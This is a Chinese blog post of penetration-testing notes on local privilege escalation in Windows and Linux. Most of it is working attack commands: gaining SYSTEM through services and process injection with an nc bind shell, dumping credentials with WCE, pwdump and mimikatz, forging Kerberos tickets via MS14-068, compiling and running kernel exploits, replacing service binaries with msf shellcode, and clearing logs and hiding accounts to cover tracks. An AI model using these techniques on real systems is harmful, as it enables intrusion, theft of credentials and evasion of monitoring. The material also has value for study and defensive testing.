• 本地提权汇总


    本地提权
    已实现本地权限账号登录
    远程溢出
    直接获得账号密码
    系统账号之间的权限隔离
    操作系统安全的基础
    用户空间 user
    内核空间 system
    系统账号
    用户账号登陆时获取权限密码
    服务账号无需用户登录已在后台启动服务
    Windows
    User
    Administrator:管理员具有绝大部分系统权限
    System
    Linux
    User
    ‘ Root
    net user test * 修改密码
    net user test 查看当前账号的基本情况
    Admin提权为system
    系统设置管理功能
    WinXP和2003提权
    使用at命令将管理员账号提升至system权限
    at 20:20 /interactive cmd
    at ? 查看帮助 at命令主要用来做系统调度任务
    at 19:34 /interactive cmd 获得系统权限
    获得系统权限
    使用taskmgr命令启动任务管理器
    可以看到此时桌面环境进程explorer是还是管理员权限,结束该进程,然后用系统权限重新启动它
    然后文件—新建任务启动explorer
    因为我们使用system用户启动的explorer,此时explorer也继承了system权限。
    查看账号已经是system账户了!
    win7、win8提权
    使用sc命令创建一个系统服务
    cmd /k start 会重新启动一个cmd窗口
    sc Create syscmd binPath= “cmd /K start” type= own type= interact 创建一个叫syscmd的服务
    services.msc 查看系统服务,此时服务处于关闭状态
    sc start syscmd 启动syscmd服务,此时就会启动一个system权限的cmd窗口
    这个提权的原理就是所有的服务都会用system账号启动,因此我们创建一个服务,这个服务就会调用system账号来启动,因此这个服务就是工作在system权限之下的。
    使用工具提权
    SysInternal Suite工具
    https://technet.microsoft.com/en-us/sysinternals/bb545027
    放到/WINDOWS/system32 目录下就可在cmd中使用,可将whoami也放在该目录下方便查看权限
    psexec -i -s -d cmd
    -i 使用交互模式
    -s 提升为system执行程序
    以系统权限打开一个cmd窗口。
    注入进程提权、远程控制
    优点:隐蔽痕迹
    pinjector.exe
    http://www.tarasco.org/security/Process_Injector/ 翻墙下载
    Usage:
    inject.exe -l (Enumerate Credentials) 列出可以注入的进程
    inject.exe -p <pid> <cmd> <port> (Inject into PID) 注入进程
    pinjector.exe -l
    pinjector.exe -p 664 cmd 5555
    注入pid为664的进程,同时开启并监听5555端口
    端口已经开始侦听
    使用nc连接5555端口成功获得shell,且获得的是system权限
    nc -nv 192.168.199.199 5555
    抓包嗅探
    windows
    wirshark
    Omnipeek
    commview
    Sinffpass(自动识别协议提取密码)
    Linux
    Tcpdump
    Wireshark
    Dsnif
    dniff -i eth0
    键盘记录
    Keylogger
    木马窃取
    本地缓存密码
    浏览器的缓存密码
    IE浏览器
    Firefox
    网络密码
    无线密码
    http://www.nirsoft.net(密码提权的武器库)
    将其保存为.rdp文件,使用工具读取明文密码
    密码读取工具
    windows: http://www.nirsoft.net 处下载
    Linux:PwDUMP.exe 可查看密文密码
    pwdump.exe localhost 查看本地密码
    win密码位置C:WindowsSystem32configSAM
    使用pwdump获取密文密码
    使用linux下ophcrack对.pwdump进行密码破解
    WCE(windows credential editor)
    在kali的/usr/share/wce/
    需要管理员权限
    wce-universal.exe -l /-lv 显示当前登录的账号
    wce-universal.exe -d 指定luid 删除
    wce-universal.exe -r /-e刷新
    wce-universal.exe -g计算 LM/NT hash值
    wce-universal.exe -w 明文显示密码
    区别: wce是直接从内存里读取密码,pwdump是从SAM文件中读取密码信息。
    可以在上面命令的基础上加一个-v参数
    -v 显示详情
    -g 计算LM/NTLM hash 分号前面是LM hash函数计算的值,后面是NTLM hash函数计算的值。
    Digest Authentication Package用来管理明文密码
    -w 明文显示密码
    这里有个问题需要说明一下,windows账户操作都是在下一次登录系统的时候变更的内容才会被加载到内存中,因此此时虽然设置了密码,但是当前会话并没有将密码信息加载到内存中,所以需要注销使用其它账号登录之后再切换回来就可使用wce查看到内存中加载的所有密码信息了。
    对于一个多用户的机器来说,我们就可以使用wce查看到登录到这台机器上所有用户的密码。
    wce-universal.exe -i 000003E4 -s Administrator:TEST-6AZUWJ8C9P:B757BF5C0D87772FAAD3B435B51404EE:7CE21F17C0AEE7FB9CEBA532D0546AD6 将LUID为000003E4的会话修改为administrator的信息,把该会话账户的用户密码全部修改为当前账户的用户名密码等。
    从内存读取LM / NTLM hash
    Digest Authentication Package
    NTLM Security Package
    Kerberos Security Package
    防止WCE攻击
    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurityPackages
    删除:
    wdigest 本地密码明文
    tspkg 远程访问身份验证 密码明文
    kerberos
    msv1_0
    schannel
    pku2u
    当我们删除wdigest 模块之后执行wce -w读取内存中的密码时wce找不到wdigest模块,也就无法读取密码明文,而此时wce就会尝试对系统中的各种进程尝试注入,而这种对操作系统进程的注入是具有破坏性的,因此就会导致系统奔溃。
    wce默认先是使用安全模式,安全模式不会尝试对系统进行各种注入,如果安全模式读取不出密码,wce就会采取不安全模式,此时就会对系统的进程进行dll注入,因此取消wdigest安全包模块之后,强制使用 wce -w就会对系统造成破坏性的打击,lsass.exe进程就会意外终止,导致系统奔溃。
    其他工具:
    pwdump
    fgdump
    usr/share/windows-binaries/
    使用方法比较简单,直接双击运行,就会在本地目录下生成dump出的信息。
    mimikatz
    /usr/share/mimikatz
    命令:
    :: 输入两个冒号进入命令提示
    privilege::debug 提权
    sekurlsa::logonPasswords 显示正在登录的账号的明文密码
    查看进程信息。。。
    运行—eventvwr打开操作系统日志
    event::clear 清除系统安全日志
    token::whoami
    利用漏洞提权
    ms11-080
    Kb2592799
    https://technet.microsoft.com/library/security/ms11-080
    使用searchsploit 搜索漏洞
    appwiz.cpl 查看已经安装的补丁程序
    因python脚本需要解释器,故使用pyinstaller脚本将python转换成exe文件
    https://pypi.python.org/pypi/PyInstaller/2.1
    python pyinstaller –onefile 18176.py(参数)
    配合pywin32使用
    ..python.exe pyinstaller.py –onefile 18176.py py脚本成功转换为exe可执行程序。
    ms11-046
    实现dos
    ms14-068
    在域内获得域的管理员权限
    配置静态ip
    dcpromo 安装与控制器 的指令
    指定活动目录active directory数据库位置
    指定共享系统卷的文件夹
    安装完成之后服务器就变身成一台域控。
    将计算机加入到域环境中
    dsa.msc进入活动目录管理域
    域—user—右键新建—用户
    域用户密码需要满足一定的复杂度要求,至少满足四分之三原则。
    接着我们就可以用刚才创建的域账号登录域中的任意一台主机。
    在域控制器中的computers下可以对所有加入域的机器做同一管理操作,包括给域内的任意一台计算机设置密码删除密码登操作。
    接下来我们通过一个“古老”的漏洞实现将域内的一个普通的主机的管理员提升至域管理员权限。
    实现步骤
    1、 ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
    2、 拷贝 TGT_user1@lab.com.ccache 票据到windows系统。
    3、本地管理员登陆
    在kali中搜索我们需要的漏洞利用代码。
    查看使用户sid
    SID获取方法:
    1)wmic useraccount where name=”USERNAME” get sid
    2)whoami /all 本机可以直接查出自己的SID;
    从kali中找到的漏洞利用代码执行时缺少部分库支持,于是从github上找来了完整的漏洞执行代码以及库支持。
    USAGE: ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> OPTIONS: -p <clearPassword> –rc4 <ntlmHash>
    root@kali:~/pykek-master/pykek-master# python ms14-068.py -u user01@lab.com -s S-1-5-21-2532467573-3093072693-2026956463-1116 -d 192.168.199.237
    在当前目录下生成了一个票据文件
    使用 mimikatz.exe log”kerberos::ptc TGT_user@lab.com.ccache” exit
    提权成功后访问域控制器
    net use \test.lab.comadmin$
    klist 列出与控制其上已经存在的用户认证信息
    运行—\test@lab.comc$ 访问域控制器的C盘
    拿到域控权限后,可以网络连接登录并修改域控的注册表
    regedit
    网络连接
    /proc/pid/mem 储存内存信息
    资料: http://blog.zx2c4.com/749
    Ubuntu11.10(高版本已被修复)
    http://old-releases.ubuntu.com/releases/11.10/
    gcc
    sudo apt-cdrom add && sudo apt-get install gcc
    gcc 18411.c -o exp
    CVE-2012-0056
    /proc/pid/mem
    /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。
    kernels >=2.6.39
    1.搜索漏洞利用代码
    两台linux机器进行文件传输可以使用scp命令,scp会自动调用ssh进行两台机器间的文件传输。
    scp /usr/share/exploitdb/exploits/linux/local/18411.c lihui@192.168.199.121:/home/lihui/
    关于gcc和ssh安装的问题,需要挂载光盘镜像进行安装
    编译 gcc 18411.c -o exp
    执行完漏洞利用代码直接变成#号也就是root权限了。
    利用配置不当提权(更常用)
    因不当配置权限
    与漏洞提权相比更长用的方法
    企业环境
    补丁更新的全部已经安装
    输入变量过滤之外更值得研发关注的安全隐患
    以system权限启动
    NTFS权限允许users修改删除
    windows
    使用icacls查看权限
    icacls c:windows*.exe /save perm /T 查看并保存
    -T 列出当前目录以及子目录下所有文件信息
    在当前目录下导出windows目录下的所有exe的NTFS权限
    FA;;;BU 就是权限配置不当的程序,默认操作系统中是不存在配置不当的情况的,只有在管理员在权限配置不当的情况下才会出现。
    漏洞利用:当存在权限配置不当的漏洞时,我们可以在kali上准备一个反弹的shell程序,将其进行编译成一个可执行程序,然后放到目标机器上执行从而获取反弹的shell。
    安装编译环境
    apt-get install mingw-w64
    首先,让我们从 Exploit-db 上下载我们需要编译的 EXP:
    wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564
    使用以下命令编译 Windows 32 位的 afd.sys exp:
    i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32
    下面的命令编译的是 Windows 7 afd.sys 提权 exp:
    i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
    i686-w64-mingw32-gcc -o shell.exe 18411.c
    使用shell.exe 替换权限配置不当的程序就可以实现提权。
    Linux
    查找系统中具有富权限(777)的文件
    find / -perm 777 -exec ls -l {} ;
    应用系统的配置文件
    连接数据库的配置文件
    后台服务运行账号
    基本信息收集
    linux
    文件
    /etc/resolv.conf
    /etc/passwd
    /etc/shadow
    命令
    whoami and who –a
    ifconfig -a, iptables-L -n, ifconfig –a, netstat –r
    uname –a, ps aux
    dpkg -l| head
    windows
    命令
    ipconfig /all ,ipconfig /displaydns, netstat -bnao , netstat –r
    net view , net view/domain
    net user /domain, net user%username% /domain
    net accounts, netshare
    net localgroupadministrators username /add
    net group “DomainControllers” /domain
    net share name$=C:/unlimited
    net user username/active:yes /domain
    收集敏感数据
    商业信息
    系统信息
    linux
    /etc/resolv.conf dns信息
    /etc/passwd
    /etc/shadow
    whoami and who –a
    ifconfig -a, iptables -L -n 防火墙配置, ifconfig –a, netstat –r
    uname –a, ps aux
    dpkg -l| head 列出安装的软件包
    .ssh ;.gnupg 公私钥 (隐藏目录)
    The e-mail and data files
    业务数据库 ;身份认证服务器数据库
    /tmp
    windows
    ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
    net view , net view /domain
    net user /domain, net user %username% /domain
    net accounts, net share
    net localgroup administrators username /add
    net group “Domain Controllers” /domain
    net share name$=C: /unlimited
    net user username /active:yes /domain
    WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
    wmic nicconfig get ipaddress,macaddress ip、mac
    wmic computersystemget username 计算机系统用户名
    wmic netlogin get name,lastlogon 最近登录的用户
    wmic process get caption, executablepath,commandline
    wmic process where name=“calc.exe” call terminate 终止程序
    wmic os get name,servicepackmajorversion 系统版本
    wmic product get name,version 查看系统中安装的软件
    wmic product where name=“name” call uninstall /nointeractive 静默删除程序
    wmic share get /ALL
    开远程桌面
    wmic /node:”machinename” path Win32_TerminalServiceSetting where AllowTSConnections=”0″ call SetAllowTSConnections”1“
    wmic nteventlogget path,filename, writeable 查看系统日志信息
    商业信息
    系统信息
    SAM数据库;注册表文件
    %SYSTEMROOT% epairSAM (sam副本)
    %SYSTEMROOT%System32configRegBackSAM (副本)
    业务数据库 ; 身份认证数据库
    临时文件目录
    UserProfileAppDataLocalMicrosoftWindowsTemporaryInternet Files
    隐藏痕迹 -a
    禁止在登陆界面显示新建账号
    REG ADD”HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinLogonSpecialAccountsUserList” /v uname /T REG_DWORD/D 0
    del %WINDIR%*.log /a/s/q/f
    linux
    history命令
    chattr -i 1.txt
    -i 对文件进行操作使其不能被操作和删除
    日志
    auth.log / secure
    btmp / wtmp
    lastlog / faillog
    其他日志和 HIDS 等
    0x01 服务路径权限可控
    通常情况下,一些 Web 控件、网络客户端会在本地注册一些服务,这些服务 在开机自启动,而自启动的权限又是 SYSTEM。 在软件注册服务的时候,会在注册表中创建几个项,该项的注册表路径如下: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 我选择一个名为“browser”的项,查看该项下的所有值:
    其中有一个 ImagePath 的名称,它的值是: “C:Program Files (x86)GatewaySSLVPNgwservice.exe” 可见它是一个 VPN 相关的服务,下面有两种提权可能:
    1. 若这个注册表的修改权限当前用户可控,那就可以直接修改 ImagePath 的值, 指向到本地其他路径,获得这个服务的权限。
    2. 若这个 ImagePath 所指向的目录权限可控,那么我们也可以替换 gwservice.exe,从而当服务启动的时候,就能够执行我们的shellcode程序。
    第一种方法尝试失败,尝试第二种方法,使用“icacls”命令查看目录权限:
    “Everyone”用户可以读写该目录下所有文件。
    Ps:Everyone 代指当前主机下所有用户,包含(Guest)
    提权过程
    首先,Guest 用户,使用 Guest 用户登录这台机器:
    使用 msf 生成一个shellcode可执行程序,替换为 gwservice.exe即可
    获得会话后,注销(或重启)Guest 用户,登录管理员用户,获得 SYSTEM 权限
  • 相关阅读:
    安装MeeGo
    一、Android uevent架构
    android键盘映射(转)
    【转】密码学 :CSP的概念
    【原创翻译】链接DLL至可执行文件翻译自MSDN
    【转】c语言中的定义和声明
    Windows:32位程序运行在64位系统上注册表会重定向
    Wow64
    VS2008 ActiveX(ocx控件)的调试工具ActiveX Control Test Container安装说明
    小写bool和大写BOOL的区别
  • 原文地址:https://www.cnblogs.com/micr067/p/12519795.html
Copyright © 2020-2023  润新知